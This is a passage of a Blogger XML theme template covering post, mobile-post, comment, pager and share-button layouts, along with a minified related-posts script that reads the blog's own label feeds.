  1693. <span class='breadhome'><a expr:href='data:blog.homepageUrl'>Home</a> - </span><span class='breadlabel'>Next to See All Posts </span>
  1694. <b:else/>
  1695. <span class='breadhome'> <a expr:href='data:blog.homepageUrl'>Home</a> - </span><span class='breadlabel'>Currently Browsing: <data:blog.pageName/></span>
  1696. </b:if>
  1697. </div>
  1698. </b:if>
  1699. </b:if>
  1700. </b:if>
  1701. </b:if>
  1702. </b:includable>
  1703. <b:includable id='comment-form' var='post'/>
  1704. <b:includable id='commentDeleteIcon' var='comment'/>
  1705. <b:includable id='comment_count_picker' var='post'/>
  1706. <b:includable id='comment_picker' var='post'>
  1707. <b:if cond='data:blog.pageType == &quot;static_page&quot;'>
  1708. <b:if cond='data:post.showThreadedComments'>
  1709. <b:include data='post' name='comments'/>
  1710. <b:else/>
  1711. <b:include data='post' name='comments'/>
  1712. </b:if>
  1713. </b:if>
  1714. <b:if cond='data:blog.pageType == &quot;item&quot;'>
  1715. <b:if cond='data:post.showThreadedComments'>
  1716. <b:include data='post' name='comments'/>
  1717. <b:else/>
  1718. <b:include data='post' name='comments'/>
  1719. </b:if>
  1720. </b:if>
  1721. </b:includable>
  1722. <b:includable id='comments' var='post'>
  1723. <div id='disqus_thread'>
  1724. <a class='gmr-btn gmr-btn-green gmr-btn-block' href='#' onclick='gmr_disqus();return false;'>Click To Add Comments</a>
  1725. </div>
  1726. <div class='comments' id='comments'>
  1727. <h3>
  1728. <b:if cond='data:post.numComments == 1'>
  1729. 1 <data:commentLabel/>:
  1730. <b:else/>
  1731. <data:post.numComments/> <data:commentLabelPlural/>
  1732. </b:if>
  1733. </h3>
  1734. </div>
  1735. </b:includable>
  1736. <b:includable id='feedLinks'>
  1737. <b:if cond='data:blog.pageType != &quot;item&quot;'> <!-- Blog feed links -->
  1738. <b:if cond='data:feedLinks'>
  1739. <div class='blog-feeds'>
  1740. <b:include data='feedLinks' name='feedLinksBody'/>
  1741. </div>
  1742. </b:if>
  1743. <b:else/> <!--Post feed links -->
  1744. <div class='post-feeds'>
  1745. <b:loop values='data:posts' var='post'>
  1746. <b:if cond='data:post.allowComments'>
  1747. <b:if cond='data:post.feedLinks'>
  1748. <b:include data='post.feedLinks' name='feedLinksBody'/>
  1749. </b:if>
  1750. </b:if>
  1751. </b:loop>
  1752. </div>
  1753. </b:if>
  1754. </b:includable>
  1755. <b:includable id='feedLinksBody' var='links'>
  1756. <div class='feed-links'>
  1757. <data:feedLinksMsg/>
  1758. <b:loop values='data:links' var='f'>
  1759. <a class='feed-link' expr:href='data:f.url' expr:type='data:f.mimeType' target='_blank'><data:f.name/> (<data:f.feedType/>)</a>
  1760. </b:loop>
  1761. </div>
  1762. </b:includable>
  1763. <b:includable id='iframe_comments' var='post'>
  1764. <b:if cond='data:post.allowIframeComments'>
  1765. <script async='asnyc' expr:src='data:post.iframeCommentSrc' type='text/javascript'/>
  1766. <div class='cmt_iframe_holder' expr:data-href='data:post.url.canonical' expr:data-viewtype='data:post.viewType'/>
  1767. <b:if cond='data:post.embedCommentForm == &quot;false&quot;'>
  1768. <a expr:href='data:post.addCommentUrl' expr:onclick='data:post.addCommentOnclick'><data:postCommentMsg/></a>
  1769. </b:if>
  1770. </b:if>
  1771. </b:includable>
  1772. <b:includable id='mobile-index-post' var='post'>
  1773. <!-- index mobile -->
  1774. <div class='mobile-date-outer date-outer'>
  1775. <div class='mobile-post-outer'>
  1776. <div class='mobile-index-contents'>
  1777. <b:if cond='data:post.thumbnailUrl'>
  1778. <div class='mobile-index-thumbnail'>
  1779. <div class='Image'>
  1780. <img expr:src='data:post.thumbnailUrl'/>
  1781. </div>
  1782. </div>
  1783. <b:else/>
  1784. <div class='mobile-index-thumbnail'>
  1785. <div class='Image'>
  1786. <img expr:alt='data:post.title' expr:title='data:post.title' src='http://3.bp.blogspot.com/-ltyYh4ysBHI/U04MKlHc6pI/AAAAAAAADQo/PFxXaGZu9PQ/s66-c/no-image.png'/>
  1787. </div>
  1788. </div>
  1789. </b:if>
  1790. <a expr:href='data:post.url'>
  1791. <h3 class='mobile-index-title entry-title' itemprop='name'>
  1792. <data:post.title/>
  1793. </h3>
  1794. </a>
  1795. <div class='uxlite-info'>
  1796. <b:if cond='data:top.showAuthor'>
  1797. <b:if cond='data:post.authorProfileUrl'>
  1798. <span class='author-info'>
  1799. <span class='fn' itemprop='author' itemscope='itemscope' itemtype='http://schema.org/Person'>
  1800. <a expr:content='data:post.authorProfileUrl' itemprop='author'/>
  1801. <a class='g-profile' expr:href='data:post.authorProfileUrl' rel='author' title='author profile'>
  1802. <span itemprop='name'><data:post.author/></span>
  1803. </a>
  1804. </span>
  1805. </span>
  1806. <b:else/>
  1807. <span class='author-info'>
  1808. <span class='fn' itemprop='author' itemscope='itemscope' itemtype='http://schema.org/Person'>
  1809. <span itemprop='name'><data:post.author/></span>
  1810. </span>
  1811. </span>
  1812. </b:if>
  1813. </b:if>
  1814. <b:if cond='data:top.showTimestamp'>
  1815. <b:if cond='data:post.url'>
  1816. <a expr:content='data:post.canonicalUrl'/>
  1817. <span class='time-info'>
  1818. <a class='timestamp-link' expr:href='data:post.url' rel='bookmark' title='permanent link'><abbr class='published updated' expr:title='data:post.timestampISO8601' itemprop='datePublished'><data:post.timestamp/></abbr></a>
  1819. </span>
  1820. </b:if>
  1821. </b:if>
  1822. <b:if cond='data:blog.pageType != &quot;item&quot;'>
  1823. <b:if cond='data:blog.pageType != &quot;static_page&quot;'>
  1824. <b:if cond='data:post.allowComments'>
  1825. <span class='comment-info'>
  1826. <a expr:href='data:post.addCommentUrl' expr:onclick='data:post.addCommentOnclick'> <b:if cond='data:post.numComments == 0'> Add Comment </b:if> <b:if cond='data:post.numComments == 1'> 1 Comment </b:if> <b:if cond='data:post.numComments &gt; 1'> <data:post.numComments/> Comments </b:if>
  1827. </a>
  1828. </span>
  1829. </b:if>
  1830. </b:if>
  1831. </b:if>
  1832. </div>
  1833. <div class='post-body'>
  1834. </div>
  1835. </div>
  1836. <div style='clear: both;'/>
  1837. </div>
  1838. </div>
  1839. </b:includable>
  1840. <b:includable id='mobile-main' var='top'>
  1841. <!-- posts -->
  1842. <div class='blog-posts hfeed'>
  1843. <b:include data='top' name='status-message'/>
  1844. <b:if cond='data:blog.pageType == &quot;index&quot;'>
  1845. <b:loop values='data:posts' var='post'>
  1846. <b:include data='post' name='mobile-index-post'/>
  1847. </b:loop>
  1848. <b:else/>
  1849. <b:loop values='data:posts' var='post'>
  1850. <b:include data='post' name='mobile-post'/>
  1851. </b:loop>
  1852. </b:if>
  1853. </div>
  1854. <b:include name='mobile-nextprev'/>
  1855. </b:includable>
  1856. <b:includable id='mobile-nextprev'>
  1857. <!-- Mobile Page -->
  1858. <div class='blog-pager' id='blog-pager'>
  1859.  
  1860. <b:if cond='data:olderPageUrl'>
  1861. <div class='mobile-link-button' id='blog-pager-older-link'>
  1862. <a class='blog-pager-older-link' expr:href='data:olderPageUrl' expr:id='data:widget.instanceId + &quot;_blog-pager-older-link&quot;' expr:title='data:olderPageTitle'>&amp;rsaquo;</a>
  1863. </div>
  1864. </b:if>
  1865.  
  1866. <div class='mobile-desktop-link'>
  1867. <a class='home-link' expr:href='data:desktopLinkUrl'><data:desktopLinkMsg/></a>
  1868. </div>
  1869. </div>
  1870. <div class='clear'/>
  1871. </b:includable>
  1872. <b:includable id='mobile-post' var='post'>
  1873. <!-- Mobile Post -->
  1874. <div class='date-outer'>
  1875. <div class='date-posts'>
  1876. <div class='post-outer'>
  1877. <div class='post hentry uncustomized-post-template' itemscope='itemscope' itemtype='http://schema.org/BlogPosting'>
  1878. <b:if cond='data:post.thumbnailUrl'>
  1879. <meta expr:content='data:post.thumbnailUrl' itemprop='image_url'/>
  1880. </b:if>
  1881. <meta expr:content='data:blog.blogId' itemprop='blogId'/>
  1882. <meta expr:content='data:post.id' itemprop='postId'/>
  1883.  
  1884. <b:if cond='data:post.title'>
  1885. <h3 class='mobile-post-title entry-title' itemprop='name'>
  1886. <b:if cond='data:post.link'>
  1887. <a expr:href='data:post.link'><data:post.title/></a>
  1888. <b:else/>
  1889. <b:if cond='data:post.url'>
  1890. <b:if cond='data:blog.url != data:post.url'>
  1891. <a expr:href='data:post.url'><data:post.title/></a>
  1892. <b:else/>
  1893. <data:post.title/>
  1894. </b:if>
  1895. <b:else/>
  1896. <data:post.title/>
  1897. </b:if>
  1898. </b:if>
  1899. </h3>
  1900. </b:if>
  1901. <div class='post-header'>
  1902. <div class='post-header-line-1'/>
  1903. </div>
  1904. <div class='uxlite-info' style='margin-bottom:15px;'>
  1905. <b:if cond='data:top.showAuthor'>
  1906. <b:if cond='data:post.authorProfileUrl'>
  1907. <span class='author-info'>
  1908. <i class='fa fa-user'/>
  1909. <span class='fn' itemprop='author' itemscope='itemscope' itemtype='http://schema.org/Person'>
  1910. <meta expr:content='data:post.authorProfileUrl' itemprop='url'/>
  1911. <a class='g-profile' expr:href='data:post.authorProfileUrl' rel='author' title='author profile'>
  1912. <span itemprop='name'><data:post.author/></span>
  1913. </a>
  1914. </span>
  1915. </span>
  1916. <b:else/>
  1917. <span class='author-info'>
  1918. <span class='fn' itemprop='author' itemscope='itemscope' itemtype='http://schema.org/Person'>
  1919. <span itemprop='name'><data:post.author/></span>
  1920. </span>
  1921. </span>
  1922. </b:if>
  1923. </b:if>
  1924. <b:if cond='data:top.showTimestamp'>
  1925. <b:if cond='data:post.url'>
  1926. <meta expr:content='data:post.canonicalUrl' itemprop='url'/>
  1927. <span class='time-info'>
  1928. <i class='fa fa-calendar-o'/> <a class='timestamp-link' expr:href='data:post.url' rel='bookmark' title='permanent link'><abbr class='published updated' expr:title='data:post.timestampISO8601' itemprop='datePublished'><data:post.timestamp/></abbr></a>
  1929. </span>
  1930. </b:if>
  1931. </b:if>
  1932. <b:if cond='data:blog.pageType != &quot;item&quot;'>
  1933. <b:if cond='data:blog.pageType != &quot;static_page&quot;'>
  1934. <b:if cond='data:post.allowComments'>
  1935. <span class='comment-info'>
  1936. <i class='fa fa-comments'/> <a expr:href='data:post.addCommentUrl' expr:onclick='data:post.addCommentOnclick'> <b:if cond='data:post.numComments == 0'> Add Comment </b:if> <b:if cond='data:post.numComments == 1'> 1 Comment </b:if> <b:if cond='data:post.numComments &gt; 1'> <data:post.numComments/> Comments </b:if>
  1937. </a>
  1938. </span>
  1939. </b:if>
  1940. </b:if>
  1941. </b:if>
  1942. </div>
  1943. <div class='post-body entry-content' expr:id='&quot;post-body-&quot; + data:post.id' itemprop='articleBody'>
  1944. <b:if cond='data:blog.pageType == &quot;item&quot;'>
  1945. <div STYLE='display:block;text-align:center;margin:15px auto;'>
  1946. <!-- Kode Banner/Iklan Anda Di sini -->
  1947. </div>
  1948. </b:if>
  1949. <data:post.body/>
  1950. <b:if cond='data:blog.pageType == &quot;item&quot;'>
  1951. <div STYLE='display:block;text-align:center;margin:15px auto;'>
  1952. <!-- Kode Banner/Iklan Anda Di sini -->
  1953. </div>
  1954. </b:if>
  1955. <div style='clear: both;'/>
  1956. <div id='share-buttons-mobile'>
  1957. <p>Share : </p>
  1958. <a expr:href='&quot;http://www.facebook.com/sharer.php?u=&quot; + data:blog.url' rel='nofollow' style='background:#3b5998;'>Facebook</a>
  1959. <a expr:href='&quot;http://plus.google.com/share?url=&quot; + data:blog.url' rel='nofollow' style='background:#c0361a;'>Google+</a>
  1960. <a expr:href='&quot;https://twitter.com/intent/tweet?url=&quot; + data:blog.url + &quot;&amp;text=&quot; + data:post.title + &quot;&amp;lang=id&quot;' rel='nofollow' style='background:#4099ff;'>Twitter</a>
  1961. <div class='clear'/>
  1962. </div>
  1963. <div id='related-posts-mobile'>
  1964. <h3>Related Posts :</h3>
  1965. <b:loop values='data:post.labels' var='label'> <b:if cond='data:label.isLast != &quot;true&quot;'/> <b:if cond='data:blog.pageType == &quot;item&quot;'> <script expr:src='&quot;/feeds/posts/default/-/&quot; + data:label.name + &quot;?alt=json-in-script&amp;callback=related_results_labels&amp;amp;max-results=6&quot;' type='text/javascript'/></b:if> </b:loop> <script type='text/javascript'> removeRelatedDuplicates(); printRelatedLabels(); </script>
  1966. </div>
  1967. </div>
  1968. </div>
  1969. <b:if cond='data:blog.pageType == &quot;static_page&quot;'>
  1970. <b:include data='post' name='comment_picker'/>
  1971. </b:if>
  1972. <b:if cond='data:blog.pageType == &quot;item&quot;'>
  1973. <b:include data='post' name='comment_picker'/>
  1974. </b:if>
  1975. </div>
  1976. </div>
  1977. </div>
  1978. </b:includable>
  1979. <b:includable id='nextprev'>
  1980. <b:if cond='data:blog.pageType != &quot;item&quot;'>
  1981. <b:if cond='data:blog.pageType != &quot;static_page&quot;'>
  1982. <div class='blog-pager' id='blog-pager'>
  1983.  
  1984. <b:if cond='data:olderPageUrl'>
  1985. <span id='blog-pager-older-link'>
  1986. <a class='blog-pager-older-link' expr:href='data:olderPageUrl' expr:id='data:widget.instanceId + &quot;_blog-pager-older-link&quot;' expr:title='data:olderPageTitle'><data:olderPageTitle/></a>
  1987. </span>
  1988. </b:if>
  1989.  
  1990. <div class='mobile-desktop-link'>
  1991. <a class='home-link' expr:href='data:desktopLinkUrl' expr:title='data:homeMsg'><data:desktopLinkMsg/></a>
  1992. </div>
  1993. </div>
  1994. </b:if>
  1995. </b:if>
  1996. <div class='clear'/>
  1997. </b:includable>
  1998. <b:includable id='post' var='post'>
  1999. <article class='post hentry'>
  2000.  
  2001. <div class='borpos'>
  2002. <b:if cond='data:post.firstImageUrl'>
  2003. <a expr:content='data:post.firstImageUrl'/>
  2004. </b:if>
  2005. <b:if cond='data:blog.pageType != &quot;item&quot;'>
  2006. <b:if cond='data:blog.pageType != &quot;static_page&quot;'>
  2007. <b:if cond='data:post.thumbnailUrl'>
  2008. <a expr:href='data:post.url'><div class='img-thumbnail'><script type='text/javascript'>
  2009. document.write(randi_thumbnail_resize(&quot;<data:post.thumbnailUrl/>&quot;,&#39;<data:post.title/>&#39;));
  2010. </script>
  2011. </div>
  2012. </a>
  2013. <b:else/>
  2014. <b:if cond='data:post.firstImageUrl'>
  2015. <a expr:href='data:post.url'><div class='img-thumbnail'><img expr:alt='data:post.title' expr:src='data:post.firstImageUrl' expr:title='data:post.title'/></div>
  2016. </a>
  2017. <b:else/>
  2018. <a expr:href='data:post.url'><div class='img-thumbnail'><img expr:alt='data:post.title' expr:title='data:post.title'/></div>
  2019. </a>
  2020. </b:if>
  2021. </b:if>
  2022. </b:if>
  2023. </b:if>
  2024. <div class='uxlite-info'>
  2025. <b:if cond='data:blog.pageType != &quot;item&quot;'>
  2026. <b:if cond='data:blog.pageType != &quot;static_page&quot;'>
  2027. <b:if cond='data:post.labels'>
  2028. <span class='label-info'>
  2029. <b:loop values='data:post.labels' var='label'>
  2030. <a expr:href='data:label.url + &quot;?max-results=5&quot;' rel='tag'><data:label.name/></a><b:if cond='data:label.isLast != &quot;true&quot;'/>
  2031. </b:loop>
  2032. </span>
  2033. </b:if>
  2034. </b:if>
  2035. </b:if>
  2036.  
  2037.  
  2038.  
  2039. </div>
  2040. <b:if cond='data:post.title'>
  2041. <b:if cond='data:blog.pageType != &quot;item&quot;'>
  2042. <b:if cond='data:blog.pageType != &quot;static_page&quot;'>
  2043. <h2 class='post-title entry-title'>
  2044. <b:if cond='data:post.link'>
  2045. <a expr:href='data:post.link' expr:title='data:post.title'>
  2046. <data:post.title/>
  2047. </a>
  2048. <b:else/>
  2049. <b:if cond='data:post.url'>
  2050. <b:if cond='data:blog.url != data:post.url'>
  2051. <a expr:href='data:post.url' expr:title='data:post.title'>
  2052. <data:post.title/>
  2053. </a>
  2054. <b:else/>
  2055. <data:post.title/>
  2056. </b:if>
  2057. <b:else/>
  2058. <data:post.title/>
  2059. </b:if>
  2060. </b:if>
  2061. </h2>
  2062. <b:else/>
  2063. <h1 class='post-title entry-title'>
  2064. <b:if cond='data:post.link'>
  2065. <a expr:href='data:post.link' expr:title='data:post.title'>
  2066. <data:post.title/>
  2067. </a>
  2068. <b:else/>
  2069. <b:if cond='data:post.url'>
  2070. <b:if cond='data:blog.url != data:post.url'>
  2071. <a expr:href='data:post.url' expr:title='data:post.title'>
  2072. <data:post.title/>
  2073. </a>
  2074. <b:else/>
  2075. <data:post.title/>
  2076. </b:if>
  2077. <b:else/>
  2078. <data:post.title/>
  2079. </b:if>
  2080. </b:if>
  2081. </h1>
  2082. </b:if>
  2083. <b:else/>
  2084. <h1 class='post-title entry-title'>
  2085. <b:if cond='data:post.link'>
  2086. <a expr:href='data:post.link' expr:title='data:post.title'>
  2087. <data:post.title/>
  2088. </a>
  2089. <b:else/>
  2090. <b:if cond='data:post.url'>
  2091. <b:if cond='data:blog.url != data:post.url'>
  2092. <a expr:href='data:post.url' expr:title='data:post.title'>
  2093. <data:post.title/>
  2094. </a>
  2095. <b:else/>
  2096. <data:post.title/>
  2097. </b:if>
  2098. <b:else/>
  2099. <data:post.title/>
  2100. </b:if>
  2101. </b:if>
  2102. </h1>
  2103. </b:if>
  2104. </b:if>
  2105. <b:if cond='data:blog.pageType == &quot;item&quot;'>
  2106. <div class='clear'/>
  2107.  
  2108. <b:if cond='data:top.showTimestamp'>
  2109. <b:if cond='data:post.url'>
  2110. <span class='time-info'>
  2111. <a class='timestamp-link' expr:href='data:post.url' rel='bookmark' title='permanent link'><abbr class='published updated' expr:title='data:post.timestampISO8601'><data:post.timestamp/></abbr></a>
  2112. </span>
  2113. </b:if>
  2114. </b:if>
  2115. <div class='share-post'>
  2116. <ul>
  2117. <li><a class='twitter seo-v6-tooltip seo-v6 seo-v6-tooltip-top' data-seo-v6-tooltip='Share on Twitter' expr:href='&quot;http://twitter.com/share?url=&quot; + data:post.url' rel='nofollow' target='_blank'><i class='fa fa-twitter'/></a></li>
  2118. <li><a class='facebook seo-v6-tooltip seo-v6-tooltip-top' data-seo-v6-tooltip='Share on Facebook' expr:href='&quot;http://www.facebook.com/sharer.php?u=&quot; + data:blog.url' rel='nofollow' target='_blank'><i class='fa fa-facebook'/></a></li>
  2119. <li><a class='gplus seo-v6-tooltip seo-v6-tooltip-top' data-seo-v6-tooltip='Share on Google Plus' expr:href='&quot;http://plus.google.com/share?url=&quot; + data:blog.url' rel='nofollow' target='_blank'><i class='fa fa-google-plus'/></a></li>
  2120. <li><a class='tumblr seo-v6-tooltip seo-v6-tooltip-top' data-seo-v6-tooltip='Share on Tumblr' href='http://www.tumblr.com/share' rel='nofollow' target='_blank'><i class='fa fa-tumblr'/></a></li>
  2121. <li><a class='pinterest seo-v6-tooltip seo-v6-tooltip-top' data-seo-v6-tooltip='Share on Pinterest' expr:href='&quot;http://pinterest.com/pin/create/button/?url=&quot; + data:post.url + &quot;&amp;amp;media=&quot; + data:post.thumbnailUrl + &quot;&amp;amp;description= + data:post.title&quot;' target='_blank'><i class='fa fa-pinterest'/></a></li>
  2122. </ul>
  2123. </div>
  2124. <div style='clear:both'/>
  2125. </b:if>
  2126.  
  2127.  
  2128. <div class='post-header'>
  2129. <div class='post-header-line-1'/>
  2130. <span class='post-author vcard' itemscope='itemscope' itemtype='http://schema.org/Person'>
  2131. <b:if cond='data:top.showAuthor'>
  2132. <b:if cond='data:post.authorProfileUrl'>
  2133. <span class='fn author'>
  2134. <a expr:href='data:post.authorProfileUrl' rel='author' title='author profile'>
  2135. <span itemprop='name'><data:post.author/></span>
  2136. </a>
  2137. </span>
  2138. <b:else/>
  2139. <span class='fn author'><span itemprop='name'><data:post.author/></span></span>
  2140. </b:if>
  2141. </b:if>
  2142. </span>
  2143. </div>
  2144.  
  2145. <b:if cond='data:blog.pageType != &quot;item&quot;'>
  2146. <b:if cond='data:blog.pageType == &quot;static_page&quot;'>
  2147. <div class='post-body entry-content' expr:id='&quot;post-body-&quot; + data:post.id'>
  2148. <data:post.body/>
  2149. <div style='clear:both;'/>
  2150. </div>
  2151. <b:else/>
  2152. <div class='post-body entry-content' expr:id='&quot;post-body-&quot; + data:post.id'>
  2153. <div>
  2154. <div expr:id='&quot;summary&quot; + data:post.id'><data:post.body/></div>
  2155. <script type='text/javascript'>createSnippet(&quot;summary<data:post.id/>&quot;);</script>
  2156. </div>
  2157. <div style='clear:both'/>
  2158. </div>
  2159. </b:if>
  2160. <b:else/>
  2161. <!-- Then use the post body as the schema.org description, for good G+/FB snippeting. -->
  2162. <div class='post-body entry-content' expr:id='&quot;post-body-&quot; + data:post.id'>
  2163. <b:if cond='data:blog.pageType == &quot;item&quot;'>
  2164. &lt;div style=&quot;display:block;text-align:center;margin:15px auto;&quot;&gt;
  2165. <!-- Kode Banner/Iklan Anda Di sini -->
  2166. &lt;/div&gt;
  2167. </b:if>
  2168. <data:post.body/>
  2169. <b:if cond='data:blog.pageType == &quot;item&quot;'>
  2170. &lt;div style=&quot;display:block;text-align:center;margin:15px auto;&quot;&gt;
  2171. <!-- Kode Banner/Iklan Anda Di sini -->
  2172. &lt;/div&gt;
  2173. </b:if>
  2174. <div style='clear: both;'/>
  2175. <b:if cond='data:blog.pageType == &quot;item&quot;'>
  2176. <script type='text/javascript'>
  2177. //<![CDATA[
  2178. //Related Post
  2179. var relnojudul = 0;
  2180. var relmaxtampil = 4;
  2181. var numchars = 90;
  2182. var reljudul=new Array();var relurls=new Array();var relcuplikan=new Array();var relgambar=new Array();function saringtags(g,h){var e=g.split("<");for(var f=0;f<e.length;f++){if(e[f].indexOf(">")!=-1){e[f]=e[f].substring(e[f].indexOf(">")+1,e[f].length)}}e=e.join("");e=e.substring(0,h-1);return e}function relpostimgcuplik(h){for(var e=0;e<h.feed.entry.length;e++){var g=h.feed.entry[e];reljudul[relnojudul]=g.title.$t;postcontent="";if("content" in g){postcontent=g.content.$t}else{if("summary" in g){postcontent=g.summary.$t}}relcuplikan[relnojudul]=saringtags(postcontent,numchars);if("media$thumbnail" in g){postimg=g.media$thumbnail.url}else{postimg="http://1.bp.blogspot.com/-htG7vy9vIAA/Tp0KrMUdoWI/AAAAAAAABAU/e7XkFtErqsU/s1600/grey.GIF"}relgambar[relnojudul]=postimg;for(var f=0;f<g.link.length;f++){if(g.link[f].rel=="alternate"){relurls[relnojudul]=g.link[f].href;break}}relnojudul++}}function contains(a,e){for(var f=0;f<a.length;f++){if(a[f]==e){return true}}return false}function artikelterkait(){var v=new Array(0);var w=new Array(0);var x=new Array(0);var A=new Array(0);for(var u=0;u<relurls.length;u++){if(!contains(v,relurls[u])){v.length+=1;v[v.length-1]=relurls[u];w.length+=1;w[w.length-1]=reljudul[u];x.length+=1;x[x.length-1]=relcuplikan[u];A.length+=1;A[A.length-1]=relgambar[u]}}reljudul=w;relurls=v;relcuplikan=x;relgambar=A;for(var u=0;u<reljudul.length;u++){var B=Math.floor((reljudul.length-1)*Math.random());var i=reljudul[u];var s=relurls[u];var y=relcuplikan[u];var C=relgambar[u];reljudul[u]=reljudul[B];relurls[u]=relurls[B];relcuplikan[u]=relcuplikan[B];relgambar[u]=relgambar[B];reljudul[B]=i;relurls[B]=s;relcuplikan[B]=y;relgambar[B]=C}var r=0;var D=Math.floor((reljudul.length-1)*Math.random());var z=D;var q;var t=document.URL;while(r<relmaxtampil){if(relurls[D]!=t){q="<li class='news-title clearfix'>";q+="<a href='"+relurls[D]+"' rel='nofollow' target='_top' title='"+reljudul[D]+"'><div class='overlayb'></div><img src='"+relgambar[D]+"' /></a>";q+="<a class='relinkjdulx' href='"+relurls[D]+"' target='_top'>"+reljudul[D]+"</a>";q+="<span class='news-text'>"+relcuplikan[D]+"</span>";q+="</li>";document.write(q);r++;if(r==relmaxtampil){break}}if(D<reljudul.length-1){D++}else{D=0}if(D==z){break}}};
  2183. //]]>
  2184. </script>
  2185. <div id='related-post'>
  2186. <div class='relhead'>
  2187. <h4><span>Related Posts</span></h4>
  2188. <div class='clear'/>
  2189. <b:loop values='data:post.labels' var='label'>
  2190. <script expr:src='&quot;/feeds/posts/default/-/&quot; + data:label.name + &quot;?alt=json-in-script&amp;amp;callback=relpostimgcuplik&amp;amp;max-results=50&quot;' type='text/javascript'/>
  2191. </b:loop>
  2192. <ul id='related-summary'>
  2193. <script type='text/javascript'>artikelterkait();</script>
  2194. </ul>
  2195. </div>
  2196. </div>
  2197. </b:if>
  2198. <div style='clear:both;'/>
  2199. </div>
  2200. </b:if>
  2201. <b:if cond='data:blog.pageType != &quot;item&quot;'>
  2202. <b:if cond='data:blog.pageType != &quot;static_page&quot;'>
  2203. <b:if cond='data:top.showTimestamp'>
  2204. <b:if cond='data:post.url'>
  2205. <span class='time-info'>
  2206. <a class='timestamp-link' expr:href='data:post.url' rel='bookmark' title='permanent link'><abbr class='published updated' expr:title='data:post.timestampISO8601'><data:post.timestamp/></abbr></a>
  2207. </span>
  2208. </b:if>
  2209. </b:if>
  2210. </b:if>
  2211. </b:if>
  2212. </div>
  2213. </article>
  2214. <b:if cond='data:blog.pageType == &quot;item&quot;'>
  2215. <div class='pagenext'>
  2216. <div class='blog-pager' id='blog-pager'>
  2217. <div class='pagenext-kiri'>
  2218. <i class='fa fa-chevron-left arrowle'/>
  2219. <div class='isipagenext-kiri'>
  2220. <b:if cond='data:newerPageUrl'>
  2221. <span id='blog-pager-newer-link'>
  2222. <span class='pager-title-left'>Next</span><br/>
  2223. <a class='blog-pager-newer-link' expr:href='data:newerPageUrl' expr:id='data:widget.instanceId + &quot;_blog-pager-newer-link&quot;' expr:title='data:newerPageTitle'>&#171; Prev Post</a>
  2224. </span>
  2225. <b:else/>
  2226. <span class='current-pageleft'><span class='pager-title-left'>Latest</span></span>
  2227. </b:if>
  2228. </div>
  2229. </div>
  2230. <div class='pagenext-kanan'>
  2231. <i class='fa fa-chevron-right arrowri'/>
  2232. <div class='isipagenext-kanan'>
  2233. <b:if cond='data:olderPageUrl'>
  2234. <span id='blog-pager-older-link'>
  2235. <span class='pager-title-left'>Previous</span><br/>
  2236. <a class='blog-pager-older-link' expr:href='data:olderPageUrl' expr:id='data:widget.instanceId + &quot;_blog-pager-older-link&quot;' expr:title='data:olderPageTitle'>Next Post &#187;</a>
  2237. </span>
  2238. <b:else/>
  2239. <span class='current-pageright'><span class='pager-title-left'>First</span></span>
  2240. </b:if>
  2241. </div>
  2242. </div>
  2243. </div>
  2244. <div style='clear: both;'/>
  2245. </div>
  2246. </b:if>
  2247. </b:includable>
  2248. <b:includable id='postQuickEdit' var='post'>
  2249. <b:if cond='data:post.editUrl'>
  2250. <span expr:class='&quot;item-control &quot; + data:post.adminClass'>
  2251. <a expr:href='data:post.editUrl' expr:title='data:top.editPostMsg'>
  2252. <img alt='' class='icon-action' height='18' src='http://img2.blogblog.com/img/icon18_edit_allbkg.gif' width='18'/>
  2253. </a>
  2254. </span>
  2255. </b:if>
  2256. </b:includable>
  2257. <b:includable id='shareButtons' var='post'>
  2258. <b:if cond='data:top.showEmailButton'><a class='goog-inline-block share-button sb-email' expr:href='data:post.share-postUrl + &quot;&amp;target=email&quot;' expr:title='data:top.emailThisMsg' target='_blank'><span class='share-button-link-text'><data:top.emailThisMsg/></span></a></b:if><b:if cond='data:top.showBlogThisButton'><a class='goog-inline-block share-button sb-blog' expr:href='data:post.share-postUrl + &quot;&amp;target=blog&quot;' expr:onclick='&quot;window.open(this.href, \&quot;_blank\&quot;, \&quot;height=270,width=475\&quot;); return false;&quot;' expr:title='data:top.blogThisMsg' target='_blank'><span class='share-button-link-text'><data:top.blogThisMsg/></span></a></b:if><b:if cond='data:top.showTwitterButton'><a class='goog-inline-block share-button sb-twitter' expr:href='data:post.share-postUrl + &quot;&amp;target=twitter&quot;' expr:title='data:top.shareToTwitterMsg' target='_blank'><span class='share-button-link-text'><data:top.shareToTwitterMsg/></span></a></b:if><b:if cond='data:top.showFacebookButton'><a class='goog-inline-block share-button sb-facebook' expr:href='data:post.share-postUrl + &quot;&amp;target=facebook&quot;' expr:onclick='&quot;window.open(this.href, \&quot;_blank\&quot;, \&quot;height=430,width=640\&quot;); return false;&quot;' expr:title='data:top.shareToFacebookMsg' target='_blank'><span class='share-button-link-text'><data:top.shareToFacebookMsg/></span></a></b:if><b:if cond='data:top.showOrkutButton'><a class='goog-inline-block share-button sb-orkut' expr:href='data:post.share-postUrl + &quot;&amp;target=orkut&quot;' expr:title='data:top.shareToOrkutMsg' target='_blank'><span class='share-button-link-text'><data:top.shareToOrkutMsg/></span></a></b:if><b:if cond='data:top.showDummy'><div class='goog-inline-block dummy-container'><data:post.dummyTag/></div></b:if>
  2259. </b:includable>
  2260. <b:includable id='status-message'>
  2261. <b:if cond='data:navMessage'>
  2262. <div class='status-msg-wrap'>
  2263. <div class='status-msg-body'>
  2264. <data:navMessage/>
  2265. </div>
  2266. <div class='status-msg-border'>
  2267. <div class='status-msg-bg'>
  2268. <div class='status-msg-hidden'><data:navMessage/></div>
  2269. </div>
  2270. </div>
  2271. </div>
  2272. <div style='clear: both;'/>
  2273. </b:if>
  2274. </b:includable>
  2275. <b:includable id='threaded-comment-form' var='post'/>
  2276. <b:includable id='threaded_comment_js' var='post'/>
  2277. <b:includable id='threaded_comments' var='post'/>
  2278. </b:widget>
  2279. </b:section>
  2280. <b:section class='main2 section' id='main2' maxwidgets='1' showaddelement='yes'/>
  2281. </div>
  2282. <div class='clear'/>
  2283. </div>
  2284. <b:if cond='data:blog.pageType == &quot;item&quot;'>
  2285. <aside id='sidebar-wrapper' itemscope='itemscope' itemtype='http://schema.org/WPSideBar'>
  2286.  
  2287. <div class='sidebar-inner'>
  2288. <b:section class='sidebar-two section' id='sidebar-two' preferred='yes'/>
  2289. <div class='clear'/>
  2290.  
  2291. <b:section class='sidebar section' id='sidebar' preferred='yes'/>
  2292. </div>
  2293. </aside>
  2294. </b:if>
  2295. </div>
  2296. <div class='clear'/>
  2297.  
